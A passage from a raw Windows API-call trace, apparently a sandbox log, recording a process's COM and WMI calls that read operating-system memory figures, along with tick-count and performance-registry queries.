riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd960 | out: ppvObject=0x1d2dd960*=0x0) returned 0x80004002 [0275.726] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3523c8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd580 | out: ppvObject=0x1d2dd580*=0x0) returned 0x80004002 [0275.726] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd158 | out: ppvObject=0x1d2dd158*=0x0) returned 0x80004002 [0275.727] WbemLocator:IUnknown:AddRef (This=0x1b3523c8) returned 0x3 [0275.727] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3523c8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dd018 | out: ppvObject=0x1d2dd018*=0x0) returned 0x80004002 [0275.727] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3523c8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcfa0 | out: ppvObject=0x1d2dcfa0*=0x0) returned 0x80004002 [0275.727] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3523c8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcf90 | out: ppvObject=0x1d2dcf90*=0x1b3522a8) returned 0x0 [0275.727] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b3522a8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcfb8 | out: pCid=0x1d2dcfb8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0275.727] WbemLocator:IUnknown:Release (This=0x1b3522a8) returned 0x3 [0275.727] CoGetContextToken (in: pToken=0x1d2dd040 | out: pToken=0x1d2dd040) returned 0x0 [0275.728] CoGetContextToken (in: pToken=0x1d2dd4c0 | out: pToken=0x1d2dd4c0) returned 0x0 [0275.728] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3523c8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd580 | out: ppvObject=0x1d2dd580*=0x1b352390) returned 0x0 [0275.728] WbemLocator:IRpcOptions:Query (in: This=0x1b352390, pPrx=0x1b3523c8, dwProperty=2, pdwValue=0x1d2dd570 | out: pdwValue=0x1d2dd570) returned 0x80004002 [0275.728] WbemLocator:IUnknown:Release (This=0x1b352390) returned 0x3 [0275.728] WbemLocator:IUnknown:Release (This=0x1b3523c8) returned 0x2 [0275.728] CoGetContextToken (in: pToken=0x1d2ddb80 | out: pToken=0x1d2ddb80) returned 0x0 [0275.728] CoGetContextToken (in: pToken=0x1d2dda80 | out: pToken=0x1d2dda80) returned 0x0 [0275.728] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3523c8, riid=0x1d2ddbe0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d2ddbb0 | out: ppvObject=0x1d2ddbb0*=0x1d35c4e0) returned 0x0 [0275.728] IUnknown:AddRef (This=0x1d35c4e0) returned 0x4 [0275.728] IUnknown:Release (This=0x1d35c4e0) returned 0x3 [0275.728] IUnknown:Release (This=0x1d35c4e0) returned 0x2 [0275.728] IUnknown:Release (This=0x1d35c8d0) returned 0x2 [0275.728] SysStringLen (param_1=0x0) returned 0x0 [0275.728] IEnumWbemClassObject:Reset (This=0x1d35c4e0) returned 0x0 [0275.729] CoTaskMemAlloc (cb=0x8) returned 0x5248c0 [0275.729] IEnumWbemClassObject:Next (in: This=0x1d35c4e0, lTimeout=-1, uCount=0x1, apObjects=0x5248c0, puReturned=0x2932b58 | out: apObjects=0x5248c0*=0x1b349b20, puReturned=0x2932b58*=0x1) returned 0x0 [0275.739] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x1b349b20) returned 0x0 [0275.739] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd500 | out: ppvObject=0x1d2dd500*=0x0) returned 0x80004002 [0275.739] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd120 | out: ppvObject=0x1d2dd120*=0x0) returned 0x80004002 [0275.739] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dccf8 | out: ppvObject=0x1d2dccf8*=0x0) returned 0x80004002 [0275.739] IUnknown:AddRef (This=0x1b349b20) returned 0x3 [0275.739] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcbb8 | out: ppvObject=0x1d2dcbb8*=0x0) returned 0x80004002 [0275.739] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcb40 | out: ppvObject=0x1d2dcb40*=0x0) returned 0x80004002 [0275.739] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcb30 | out: ppvObject=0x1d2dcb30*=0x1b349b28) returned 0x0 [0275.739] IMarshal:GetUnmarshalClass (in: This=0x1b349b28, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcb58 | out: pCid=0x1d2dcb58*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0275.739] IUnknown:Release (This=0x1b349b28) returned 0x3 [0275.739] CoGetContextToken (in: pToken=0x1d2dcbe0 | out: pToken=0x1d2dcbe0) returned 0x0 [0275.740] CoGetContextToken (in: pToken=0x1d2dd060 | out: pToken=0x1d2dd060) returned 0x0 [0275.740] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd120 | out: ppvObject=0x1d2dd120*=0x0) returned 0x80004002 [0275.740] IUnknown:Release (This=0x1b349b20) returned 0x2 [0275.740] CoGetContextToken (in: pToken=0x1d2dd720 | out: pToken=0x1d2dd720) returned 0x0 [0275.740] CoGetContextToken (in: pToken=0x1d2dd620 | out: pToken=0x1d2dd620) returned 0x0 [0275.740] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x1d2dd780*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d2dd750 | out: ppvObject=0x1d2dd750*=0x1b349b20) returned 0x0 [0275.740] IUnknown:AddRef (This=0x1b349b20) returned 0x4 [0275.740] IUnknown:Release (This=0x1b349b20) returned 0x3 [0275.740] IUnknown:Release (This=0x1b349b20) returned 0x2 [0275.740] CoTaskMemFree (pv=0x5248c0) [0275.740] CoGetContextToken (in: pToken=0x1d2ddaf0 | out: pToken=0x1d2ddaf0) returned 0x0 [0275.740] IUnknown:AddRef (This=0x1b349b20) returned 0x3 [0275.740] IWbemClassObject:Get (in: This=0x1b349b20, wszName="__GENUS", lFlags=0, pVal=0x1d2de0b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1d2de1d8*=0, plFlavor=0x1d2de1d0*=0 | out: pVal=0x1d2de0b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1d2de1d8*=3, plFlavor=0x1d2de1d0*=64) returned 0x0 [0275.741] IWbemClassObject:Get (in: This=0x1b349b20, wszName="__PATH", lFlags=0, pVal=0x1d2de060*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1d2de190*=0, plFlavor=0x1d2de188*=0 | out: pVal=0x1d2de060*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"", varVal2=0x0), pType=0x1d2de190*=8, plFlavor=0x1d2de188*=64) returned 0x0 [0275.741] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0275.741] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0275.741] CoGetObjectContext (in: riid=0x24b1de8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2de0d8 | out: ppv=0x1d2de0d8*=0x4b0108) returned 0x0 [0275.741] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d2de0c8 | out: pAptType=0x1d2de0c8*=1) returned 0x0 [0275.741] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b1dc8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d2de0d0 | out: ppvObject=0x1d2de0d0*=0x0) returned 0x80004002 [0275.741] IUnknown:Release (This=0x4b0108) returned 0x1 [0275.743] CoGetClassObject (in: rclsid=0x1b2eae48*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2dd4c8 | out: ppv=0x1d2dd4c8*=0x1d496d60) returned 0x0 [0275.743] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d496d60, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd5b0 | out: ppvObject=0x1d2dd5b0*=0x0) returned 0x80004002 [0275.744] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d496d60, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd588 | out: ppvObject=0x1d2dd588*=0x4f3b80) returned 0x0 [0275.744] WbemDefPath:IUnknown:Release (This=0x1d496d60) returned 0x0 [0275.744] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd330 | out: ppvObject=0x1d2dd330*=0x4f3b80) returned 0x0 [0275.744] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd3c0 | out: ppvObject=0x1d2dd3c0*=0x0) returned 0x80004002 [0275.744] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dcbb8 | out: ppvObject=0x1d2dcbb8*=0x0) returned 0x80004002 [0275.744] WbemDefPath:IUnknown:AddRef (This=0x4f3b80) returned 0x3 [0275.744] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dca78 | out: ppvObject=0x1d2dca78*=0x0) returned 0x80004002 [0275.744] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dca00 | out: ppvObject=0x1d2dca00*=0x0) returned 0x80004002 [0275.744] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dc9f0 | out: ppvObject=0x1d2dc9f0*=0x1d496f80) returned 0x0 [0275.744] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d496f80, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dca18 | out: pCid=0x1d2dca18*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0275.744] WbemDefPath:IUnknown:Release (This=0x1d496f80) returned 0x3 [0275.745] CoGetContextToken (in: pToken=0x1d2dcaa0 | out: pToken=0x1d2dcaa0) returned 0x0 [0275.745] CoGetContextToken (in: pToken=0x1d2dcf20 | out: pToken=0x1d2dcf20) returned 0x0 [0275.745] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcfe0 | out: ppvObject=0x1d2dcfe0*=0x0) returned 0x80004002 [0275.745] WbemDefPath:IUnknown:Release (This=0x4f3b80) returned 0x2 [0275.745] WbemDefPath:IUnknown:Release (This=0x4f3b80) returned 0x1 [0275.745] CoGetContextToken (in: pToken=0x1d2ddd10 | out: pToken=0x1d2ddd10) returned 0x0 [0275.745] CoGetContextToken (in: pToken=0x1d2ddc10 | out: pToken=0x1d2ddc10) returned 0x0 [0275.745] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x1d2ddd70*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1d2ddd40 | out: ppvObject=0x1d2ddd40*=0x4f3b80) returned 0x0 [0275.745] WbemDefPath:IUnknown:AddRef (This=0x4f3b80) returned 0x3 [0275.745] WbemDefPath:IUnknown:Release (This=0x4f3b80) returned 0x2 [0275.745] WbemDefPath:IWbemPath:SetText (This=0x4f3b80, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x0 [0275.746] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0f8 | out: puCount=0x1d2de0f8*=0x2) returned 0x0 [0275.746] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0f0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0f0*=0xf, pszText=0x0) returned 0x0 [0275.746] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0275.746] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0c8 | out: puCount=0x1d2de0c8*=0x2) returned 0x0 [0275.746] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0c0*=0xf, pszText=0x0) returned 0x0 [0275.746] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0275.746] IWbemClassObject:Get (in: This=0x1b349b20, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1d2de080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2933920*=0, plFlavor=0x2933924*=0 | out: pVal=0x1d2de080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1395304", varVal2=0x0), pType=0x2933920*=21, plFlavor=0x2933924*=0) returned 0x0 [0275.746] SysStringByteLen (bstr="1395304") returned 0xe [0275.746] SysStringByteLen (bstr="1395304") returned 0xe [0275.747] IWbemClassObject:Get (in: This=0x1b349b20, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1d2de0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2933920*=21, plFlavor=0x2933924*=0 | out: pVal=0x1d2de0d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1395304", varVal2=0x0), pType=0x2933920*=21, plFlavor=0x2933924*=0) returned 0x0 [0275.747] SysStringByteLen (bstr="1395304") returned 0xe [0275.747] SysStringByteLen (bstr="1395304") returned 0xe [0275.747] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0c8 | out: puCount=0x1d2de0c8*=0x2) returned 0x0 [0275.747] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0c0*=0xf, pszText=0x0) returned 0x0 [0275.747] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0275.747] IWbemClassObject:Get (in: This=0x1b349b20, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1d2de080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2933b18*=0, plFlavor=0x2933b1c*=0 | out: pVal=0x1d2de080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x2933b18*=21, plFlavor=0x2933b1c*=0) returned 0x0 [0275.778] SysStringByteLen (bstr="2096620") returned 0xe [0275.778] SysStringByteLen (bstr="2096620") returned 0xe [0275.778] IWbemClassObject:Get (in: This=0x1b349b20, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1d2de0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2933b18*=21, plFlavor=0x2933b1c*=0 | out: pVal=0x1d2de0d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x2933b18*=21, plFlavor=0x2933b1c*=0) returned 0x0 [0275.778] SysStringByteLen (bstr="2096620") returned 0xe [0275.778] SysStringByteLen (bstr="2096620") returned 0xe [0275.779] CoGetContextToken (in: pToken=0x1d2dded0 | out: pToken=0x1d2dded0) returned 0x0 [0275.779] WbemLocator:IUnknown:Release (This=0x1b3523c8) returned 0x1 [0275.779] IUnknown:Release (This=0x1d35c4e0) returned 0x0 [0277.830] GetTickCount64 () returned 0xabc41d [0277.832] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0277.833] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x2a5be68, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x2a5be68*, lpcbData=0x1d2ddf78*=0x438) returned 0x0 [0277.835] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0277.836] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x2a6d280, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x2a6d280*, lpcbData=0x1d2ddf78*=0xea8) returned 0x0 [0277.839] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de258 | out: puCount=0x1d2de258*=0x2) returned 0x0 [0277.839] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de250*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de250*=0xf, pszText=0x0) returned 0x0 [0277.839] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de250*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de250*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0277.839] CoGetObjectContext (in: riid=0x24b1de8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2de1d8 | out: ppv=0x1d2de1d8*=0x4b0108) returned 0x0 [0277.840] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d2de1c8 | out: pAptType=0x1d2de1c8*=1) returned 0x0 [0277.840] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b1dc8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d2de1d0 | out: ppvObject=0x1d2de1d0*=0x0) returned 0x80004002 [0277.840] IUnknown:Release (This=0x4b0108) returned 0x1 [0277.841] CoGetClassObject (in: rclsid=0x1b2eb4c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2dd898 | out: ppv=0x1d2dd898*=0x1d496de0) returned 0x0 [0277.841] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496de0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd980 | out: ppvObject=0x1d2dd980*=0x0) returned 0x80004002 [0277.841] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d496de0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd958 | out: ppvObject=0x1d2dd958*=0x1d496d20) returned 0x0 [0277.841] WbemLocator:IUnknown:Release (This=0x1d496de0) returned 0x0 [0277.841] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496d20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd700 | out: ppvObject=0x1d2dd700*=0x1d496d20) returned 0x0 [0277.842] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496d20, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd790 | out: ppvObject=0x1d2dd790*=0x0) returned 0x80004002 [0277.842] 